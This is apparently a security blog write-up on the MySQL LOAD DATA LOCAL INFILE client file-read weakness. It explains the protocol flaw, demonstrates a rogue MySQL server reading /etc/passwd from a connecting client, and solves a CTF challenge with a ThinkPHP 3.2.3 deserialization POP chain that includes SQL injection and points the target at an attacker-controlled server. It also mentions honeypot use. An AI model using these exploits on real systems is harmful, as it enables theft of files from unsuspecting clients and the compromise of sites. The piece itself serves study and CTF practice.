IntroductionIn this section, we will examine the concept of MySQL vulnerability. This refers to potential weaknesses in MySQL, a popular open-source relational
- LOAD DATA INFILE
- Vulnerability principle
- Vulnerability demonstration
- Packet capture analysis
- Practical exploitation
- Reading sensitive information
- Creating a MySQL honeypot
- EndingâŠ..
Introduction
>
Yesterday (April 11, 2021), Yunshu shared a Weibo post suggesting someone posted an article with a honeypot on Freebuf. The code included MySQL account credentials. After testing, Yunshu discovered that this MySQL server could read files from the connected client.
Actually, the method by which this honeypot operates is a fascinating trick based on the fact that a MySQL server can exploit the LOAD DATA LOCAL
command to read arbitrary files from a MySQL client. This has been a known vulnerability for a long time and was notably exploited by Dragon Sector and Cykor during the TCTF2018 finals for an unexpected solution to the h4x0râs club challenge.
LOAD DATA INFILE
The LOAD DATA INFILE
statement is designed for quickly reading rows from a text file into a table. The filename must be a string literal.
LOAD DATA INFILE
is the opposite of SELECT ... INTO OUTFILE
. To backup table data to a file, use SELECT ... INTO OUTFILE
; to restore table data from a backup file, use LOAD DATA INFILE
.
Standard example:
load data infile "/data/data.csv" into table TestTable;load data local infile "/data/test.csv" into table TestTable;
The first line reads the server local file, while the second line reads the client local file.
As shown below, we read the client local data.csv file into the TestTable table in the server database:
load data local infile "/tmp/data.csv" into table TestTable FIELDS TERMINATED BY ',';
>
image-20210412104457432
We can also read files of any format into the table:
load data local infile "/etc/passwd" into table TestTable FIELDS TERMINATED BY '\n';
image-20210412104742862
As shown above, we successfully read the /etc/passwd file from the client into the serverâs MySQL data table. Clearly, the LOAD DATA INFILE
statement is not secure, as thoroughly documented in the MySQL official documentation: https://dev.mysql.com/doc/mysql-security-excerpt/5.7/en/load-data-local-security.html
image-20210412105237777
The general meaning is as follows:
- Since
LOAD DATA LOCAL
is an SQL statement executed on the server side, and file transfers from the client host to the server host are initiated by the MySQL server, the MySQL server will tell the client the file named in the statement. In theory, a patched server can instruct the client to transfer any file the server chooses instead of the file named in the statement. Such a server can access any file on the client host that the client user has permission to read.
We will now conduct a detailed analysis of the vulnerabilities arising from this point.
Vulnerability principle
The core principle of the vulnerability is that the MySQL server can use the LOAD DATA LOCAL
command to read any file from the MySQL client.
MySQL clients and servers communicate through dialogues. The client sends an operation request, then the server responds to the clientâs request. During this process, if a client operation requires two requests to complete, the client will discard the first request after sending it, instead of storing it. Thus, the second request relies on the serverâs response to continue, allowing the server to deceive the client into performing other actions.
In general, MySQL clients and servers communicate by the client sending an SQL statement, which the server executes and then returns the result. However, as mentioned earlier, the LOAD DATA INFILE
command can read file contents and insert them into a table.
When the MySQL client executes the following LOAD DATA INFILE
command:
load data local infile "/data/test.csv" into table TestTable;
The interaction between MySQL clients and servers can be represented by the following dialogue:
- Client: Insert my local /data/test.csv content into the TestTable table.
- Server: Please send me your local /data/test.csv content.
- Client: Sure, here is my local /data/test.csv content: âŠ.
- Server: Success/Failure
Under normal circumstances, this flow works without issues. However, as previously mentioned, the client does not know what it sent to the server on the second request, so it completely relies on the serverâs instructions. Thus, if the server is malicious, a different interaction could occur:
- Client: Insert my local /data/test.csv content into the TestTable table.
- Server: Please send me your local /etc/passwd content.
- Client: Sure, here is my local /etc/passwd content: âŠ.
- Server: âŠ. Whatever it wants to do.
This way, the server illegally obtains the /etc/passwd
file content. Today, I will demonstrate creating a fake server to deceive a legitimate client into accessing any file on the client host.
The MySQL official documentation contains this statement:
âA patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCALâ
This means that a fabricated server can respond with a file-transfer request at any time, not limited to when LOAD DATA LOCAL
is invoked.
Summarizing the cause of the vulnerability:
- The file that
LOAD DATA INFILE
reads is determined by the serverâs file-transfer request, not the client. - No matter what request the client sends, if the server responds with a file-transfer request, the client follows the
LOAD DATA INFILE
process to read and send the file content to the server.
Summarizing the entire attack process:
- The victim initiates a request to the attackerâs server and attempts to authenticate.
- The attackerâs MySQL server receives the victimâs connection request, sends a normal greeting, authenticates correctly, and requests a file from the victimâs MySQL client.
- The victimâs MySQL client, believing the authentication is correct, executes the request sent by the attacker and sends the file content back to the attackerâs MySQL server using the
LOAD DATA INLINE
function. - The attacker receives information from the victimâs server, successfully reads the file, and the attack is complete.
Vulnerability demonstration
Some MySQL clients, such as Pythonâs MySQLdb and mysqlclient, PHPâs mysqli and PDO, Javaâs JDBC Driver, and the native MySQL client, typically send SELECT statements to query version numbers, encoding, etc., after successfully connecting to MySQL. At this time, the vulnerability can be exploited by sending a file-transfer request to read files from the client.
It should be noted that to exploit this feature, the client must have CLIENT_LOCAL_FILES
enabled, so the --enable-local-infile
option may need to be added when connecting to the server.
Here is the test environment for this experiment.
Attacker (server):
- Kali Linux
- 192.168.43.247
Victim (client):
- Ubuntu
- 192.168.43.82
First, download the POC script Rogue-MySql-Server written by a senior, and locate the tuple filelist
at line 26 of the rogue_mysql_server.py script:
image-20210407163934141
The filelist
tuple contains the file paths on the victimâs host that need to be read (be mindful of paths when reading Windows files).
Then, on the attackerâs machine (server), execute the rogue_mysql_server.py script:
python rogue_mysql_server.py
image-20210407164158653
Afterwards, instruct the victimâs machine (client) to connect to the malicious server we set up on the attackerâs machine:
mysql -h192.168.43.247 -uroot -p --enable-local-infile
image-20210407175447854
The moment the client connects to the server set up by the attacker, the server can read /etc/passwd from the victim clientâs machine and log it in the Rogue-MySql-Serverâs log file:
image-20210407170904219
Exploitation succeeded.
Packet capture analysis
Below is the Wireshark packet capture analysis of the entire attack process. We analyze the client:
(1) When the client connects to the attackerâs fake server, the server sends a âGreetingâ data packet, including the MySQL version and other information:
image-20210412110918522
(2) Then the client sends a MySQL login request to the server:
image-20210412111052854
(3) During login, the client performs several SELECT initialization queries for versioning, encoding, etc.:
image-20210412111410500
(4) Following this, the LOAD DATA LOCAL
statement is executed for file transfer:
image-20210412111832063
From the captured traffic, we can see that the server read the /etc/passwd file content from the client.
Practical exploitation
Reading sensitive information
As some CMS systems allow backend database address binding, it may be possible to construct a malicious server to obtain some sensitive information. Below, we will use the [Red Valley CTF 2021] EasyTP CTF example to demonstrate.
Enter the challenge:
image-20210407173445324
Reporting an error randomly revealed itâs ThinkPHP 3.2.3, which has an SQL injection vulnerability caused by deserialization:
image-20210407173558811
Scanning the directories revealed a website backup file, www.zip. By downloading it and examining the default controller in the source code, a deserialization point was discovered:
image-20210407174656327
We can use this deserialization point to trigger an SQL injection or connect to our malicious MySQL server.
First, use rogue_mysql_server.py on your VPS to set up a malicious MySQL server (if the MySQL port is in conflict, you can change the port; in this case, I changed it to port 3307):
image-20210407175756657
Find a POP chain online, adjust the parameters, and launch the attack directly: https://f5.pm/go-53579.html
<?phpnamespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // Enabling required for file reading ); protected $config = array( "debug" => 1, "database" => "thinkphp3", "hostname" => "47.xxx.xxx.72", "hostport" => "3307", "charset" => "utf8", "username" => "root", "password" => "" ); }}namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } }}namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } }}namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $->data[$this->pk] = array( "table" => "mysql.user where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } }}namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick()));}
Execute the POC to generate the payload:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMDo="... (truncated for the example)
Execution. As shown below, the /etc/passwd on the target host has been successfully read:
image-20210407182414600
image-20210407182515850
Successfully exploited.
Creating a MySQL honeypot
Similar to the article on Freebuf, a MySQL honeypot can be set up using this vulnerability to tempt attackers to connect and retrieve sensitive information from the attackerâs host.
There is a MySQL honeypot available on GitHub, allowing the extraction of an attackerâs WeChat ID through this method.
image-20210412112640639